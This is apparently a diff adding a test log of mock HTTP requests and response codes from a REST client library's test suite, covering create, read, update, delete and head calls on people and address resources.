+GET http://somewhere.else:80/people.xml
+--> 200 200 (222 0.00s)
+PUT http://somewhere.else:80/people/1.xml
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (107 0.00s)
+PUT http://somewhere.else:80/people/2.xml
+--> 409 409 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 200 200 (166 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0.00s)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://localhost:80/people/1.xml
+--> 200 200 (0 0.00s)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0.00s)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://localhost:80/people.xml
+--> 200 200 (222 0.00s)
+GET http://localhost:80/people_empty_elements.xml
+--> 200 200 (77 0.00s)
+GET http://localhost:80/people_single_elements.xml
+--> 200 200 (208 0.00s)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0.00s)
+HEAD http://localhost:80/people/1.xml
+--> 200 200 (0 0.00s)
+POST http://localhost:80/people.xml
+--> 201 201 (0 0.00s)
+POST http://localhost:80/members.xml
+--> 201 201 (1 0.00s)
+PUT http://localhost:80/people/1.xml
+--> 204 204 (0 0.00s)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0.00s)
+GET http://localhost:80/people_timeout.xml
+GET http://somewhere.else:80/people/retrieve.xml?name=Matz
+--> 200 200 (146 0.00s)
+POST http://somewhere.else:80/people/hire.xml?name=Matz
+--> 201 201 (0 0.00s)
+PUT http://somewhere.else:80/people/promote.xml?name=Matz
+--> 204 204 (0 0.00s)
+PUT http://somewhere.else:80/people/sort.xml?by=name
+--> 204 204 (0 0.00s)
+DELETE http://somewhere.else:80/people/deactivate.xml?name=Matz
+--> 200 200 (0 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/sort.xml?by=name
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1/shallow.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1/deep.xml
+--> 200 200 (129 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+PUT http://somewhere.else:80/people/1/promote.xml?position=Manager
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://somewhere.else:80/people/1/deactivate.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1/deep.xml
+--> 200 200 (139 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1/normalize_phone.xml?locale=US
+--> 204 204 (0 0.00s)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (78 0.00s)
+POST http://37s.sunrise.i:3000/people/1/addresses/new/link.xml
+--> 201 201 (92 0.00s)
+POST http://somewhere.else:80/people/1/register.xml
+--> 201 201 (106 0.00s)
+GET http://somewhere.else:80/people/managers.xml
+--> 200 200 (146 0.00s)
+GET http://somewhere.else:80/people.json
+--> 200 200 (55 0.00s)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (224 0.00s)
+GET http://somewhere.else:80/people/retrieve.json?name=David
+--> 200 200 (28 0.00s)
+GET http://somewhere.else:80/people/retrieve.xml?name=David
+--> 200 200 (149 0.00s)
+GET http://somewhere.else:80/people/2.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/2/shallow.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (103 0.00s)
+GET http://somewhere.else:80/people/2/shallow.xml
+--> 200 200 (103 0.00s)
+POST http://somewhere.else:80/people.json
+--> 201 201 (16 0.00s)
+POST http://somewhere.else:80/people/new/register.json
+--> 201 201 (16 0.00s)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (74 0.00s)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (74 0.00s)
+GET http://somewhere.else:80/people/1.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (103 0.00s)
+POST http://somewhere.else:80/people.json
+--> 201 201 (54 0.00s)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (132 0.00s)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0.00s)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0.00s)
+POST http://localhost:80/people/2/addresses.xml
+--> 201 201 (0 0.00s)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0.00s)
+POST http://localhost:80/people/2.xml
+POST http://localhost:80/people/2/addresses.xml
+PUT http://localhost:80/people/2.xml
+DELETE http://localhost:80/people/2.xml
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 409 409 (0 0.00s)
+POST http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 201 201 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/4.xml
+--> 404 404 (0 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (120 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/people/managers.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people//addresses/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/manager.xml
+--> 200 200 (107 0.00s)
+GET http://37s.sunrise.i:3000/people/leader.xml
+--> 200 200 (107 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/5.xml
+--> 200 200 (230 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/customers/1.xml
+--> 200 200 (1458 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (222 0.00s)
+PUT http://somewhere.else:80/people/1.xml
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (107 0.00s)
+PUT http://somewhere.else:80/people/2.xml
+--> 409 409 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 200 200 (166 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0.00s)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://localhost:80/people/1.xml
+--> 200 200 (0 0.00s)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0.00s)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://localhost:80/people.xml
+--> 200 200 (222 0.00s)
+GET http://localhost:80/people_empty_elements.xml
+--> 200 200 (77 0.00s)
+GET http://localhost:80/people_single_elements.xml
+--> 200 200 (208 0.00s)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0.00s)
+HEAD http://localhost:80/people/1.xml
+--> 200 200 (0 0.00s)
+POST http://localhost:80/people.xml
+--> 201 201 (0 0.00s)
+POST http://localhost:80/members.xml
+--> 201 201 (1 0.00s)
+PUT http://localhost:80/people/1.xml
+--> 204 204 (0 0.00s)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0.00s)
+GET http://localhost:80/people_timeout.xml
+GET http://somewhere.else:80/people/retrieve.xml?name=Matz
+--> 200 200 (146 0.00s)
+POST http://somewhere.else:80/people/hire.xml?name=Matz
+--> 201 201 (0 0.00s)
+PUT http://somewhere.else:80/people/promote.xml?name=Matz
+--> 204 204 (0 0.00s)
+PUT http://somewhere.else:80/people/sort.xml?by=name
+--> 204 204 (0 0.00s)
+DELETE http://somewhere.else:80/people/deactivate.xml?name=Matz
+--> 200 200 (0 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/sort.xml?by=name
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1/shallow.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1/deep.xml
+--> 200 200 (129 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+PUT http://somewhere.else:80/people/1/promote.xml?position=Manager
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://somewhere.else:80/people/1/deactivate.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1/deep.xml
+--> 200 200 (139 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1/normalize_phone.xml?locale=US
+--> 204 204 (0 0.00s)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (78 0.00s)
+POST http://37s.sunrise.i:3000/people/1/addresses/new/link.xml
+--> 201 201 (92 0.00s)
+POST http://somewhere.else:80/people/1/register.xml
+--> 201 201 (106 0.00s)
+GET http://somewhere.else:80/people/managers.xml
+--> 200 200 (146 0.00s)
+GET http://somewhere.else:80/people.json
+--> 200 200 (55 0.00s)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (224 0.00s)
+GET http://somewhere.else:80/people/retrieve.json?name=David
+--> 200 200 (28 0.00s)
+GET http://somewhere.else:80/people/retrieve.xml?name=David
+--> 200 200 (149 0.00s)
+GET http://somewhere.else:80/people/2.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/2/shallow.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (103 0.00s)
+GET http://somewhere.else:80/people/2/shallow.xml
+--> 200 200 (103 0.00s)
+POST http://somewhere.else:80/people.json
+--> 201 201 (16 0.00s)
+POST http://somewhere.else:80/people/new/register.json
+--> 201 201 (16 0.00s)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (74 0.00s)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (74 0.00s)
+GET http://somewhere.else:80/people/1.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (103 0.00s)
+POST http://somewhere.else:80/people.json
+--> 201 201 (54 0.00s)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (132 0.00s)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0b 0.00s)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107b 0.00s)
+POST http://localhost:80/people/2/addresses.xml
+--> 201 201 (0b 0.00s)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0b 0.00s)
+POST http://localhost:80/people/2.xml
+POST http://localhost:80/people/2/addresses.xml
+PUT http://localhost:80/people/2.xml
+DELETE http://localhost:80/people/2.xml
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209b 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209b 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209b 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209b 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209b 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209b 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106b 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120b 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109b 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 409 409 (0b 0.00s)
+POST http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 201 201 (0b 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106b 0.00s)
+GET http://37s.sunrise.i:3000/people/4.xml
+--> 404 404 (0b 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0b 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0b 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0b 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106b 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0b 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120b 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0b 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0b 0.00s)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0b 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106b 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0b 0.00s)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0b 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0b 0.00s)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0b 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120b 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0b 0.00s)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0b 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0b 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0b 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106b 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0b 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106b 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0b 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106b 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (120b 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0b 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222b 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147b 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147b 0.00s)
+GET http://37s.sunrise.i:3000/people/managers.xml
+--> 200 200 (147b 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106b 0.00s)
+GET http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0b 0.00s)
+GET http://37s.sunrise.i:3000/people//addresses/1.xml
+--> 404 404 (0b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120b 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222b 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/manager.xml
+--> 200 200 (107b 0.00s)
+GET http://37s.sunrise.i:3000/people/leader.xml
+--> 200 200 (107b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120b 0.00s)
+GET http://37s.sunrise.i:3000/customers/1.xml
+--> 200 200 (1458b 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106b 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120b 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222b 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106b 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106b 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109b 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106b 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106b 0.00s)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (222b 0.00s)
+PUT http://somewhere.else:80/people/1.xml
+--> 204 204 (0b 0.00s)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (107b 0.00s)
+PUT http://somewhere.else:80/people/2.xml
+--> 409 409 (0b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120b 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 200 200 (166b 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0b 0.00s)
+DELETE http://localhost:80/people/1.xml
+--> 200 200 (0b 0.00s)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0b 0.00s)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106b 0.00s)
+GET http://localhost:80/people.xml
+--> 200 200 (222b 0.00s)
+GET http://localhost:80/people_empty_elements.xml
+--> 200 200 (77b 0.00s)
+GET http://localhost:80/people_single_elements.xml
+--> 200 200 (208b 0.00s)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107b 0.00s)
+HEAD http://localhost:80/people/1.xml
+--> 200 200 (0b 0.00s)
+POST http://localhost:80/people.xml
+--> 201 201 (0b 0.00s)
+POST http://localhost:80/members.xml
+--> 201 201 (1b 0.00s)
+PUT http://localhost:80/people/1.xml
+--> 204 204 (0b 0.00s)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0b 0.00s)
+GET http://localhost:80/people_timeout.xml
+GET http://somewhere.else:80/people/retrieve.xml?name=Matz
+--> 200 200 (146b 0.00s)
+POST http://somewhere.else:80/people/hire.xml?name=Matz
+--> 201 201 (0b 0.00s)
+PUT http://somewhere.else:80/people/promote.xml?name=Matz
+--> 204 204 (0b 0.00s)
+PUT http://somewhere.else:80/people/sort.xml?by=name
+--> 204 204 (0b 0.00s)
+DELETE http://somewhere.else:80/people/deactivate.xml?name=Matz
+--> 200 200 (0b 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/sort.xml?by=name
+--> 204 204 (0b 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106b 0.00s)
+GET http://somewhere.else:80/people/1/shallow.xml
+--> 200 200 (106b 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106b 0.00s)
+GET http://somewhere.else:80/people/1/deep.xml
+--> 200 200 (129b 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106b 0.00s)
+PUT http://somewhere.else:80/people/1/promote.xml?position=Manager
+--> 204 204 (0b 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106b 0.00s)
+DELETE http://somewhere.else:80/people/1/deactivate.xml
+--> 200 200 (0b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1/deep.xml
+--> 200 200 (139b 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120b 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1/normalize_phone.xml?locale=US
+--> 204 204 (0b 0.00s)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (78b 0.00s)
+POST http://37s.sunrise.i:3000/people/1/addresses/new/link.xml
+--> 201 201 (92b 0.00s)
+POST http://somewhere.else:80/people/1/register.xml
+--> 201 201 (106b 0.00s)
+GET http://somewhere.else:80/people/managers.xml
+--> 200 200 (146b 0.00s)
+GET http://somewhere.else:80/people.json
+--> 200 200 (55b 0.00s)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (224b 0.00s)
+GET http://somewhere.else:80/people/retrieve.json?name=David
+--> 200 200 (28b 0.00s)
+GET http://somewhere.else:80/people/retrieve.xml?name=David
+--> 200 200 (149b 0.00s)
+GET http://somewhere.else:80/people/2.json
+--> 200 200 (26b 0.00s)
+GET http://somewhere.else:80/people/2/shallow.json
+--> 200 200 (26b 0.00s)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (103b 0.00s)
+GET http://somewhere.else:80/people/2/shallow.xml
+--> 200 200 (103b 0.00s)
+POST http://somewhere.else:80/people/new/register.json
+--> 201 201 (16b 0.00s)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (74b 0.00s)
+GET http://somewhere.else:80/people/1.json
+--> 200 200 (26b 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (103b 0.00s)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0.00s)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0.00s)
+POST http://localhost:80/people/2/addresses.xml
+--> 201 201 (0 0.00s)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0.00s)
+POST http://localhost:80/people/2.xml
+POST http://localhost:80/people/2/addresses.xml
+PUT http://localhost:80/people/2.xml
+DELETE http://localhost:80/people/2.xml
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 409 409 (0 0.00s)
+POST http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 201 201 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/4.xml
+--> 404 404 (0 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
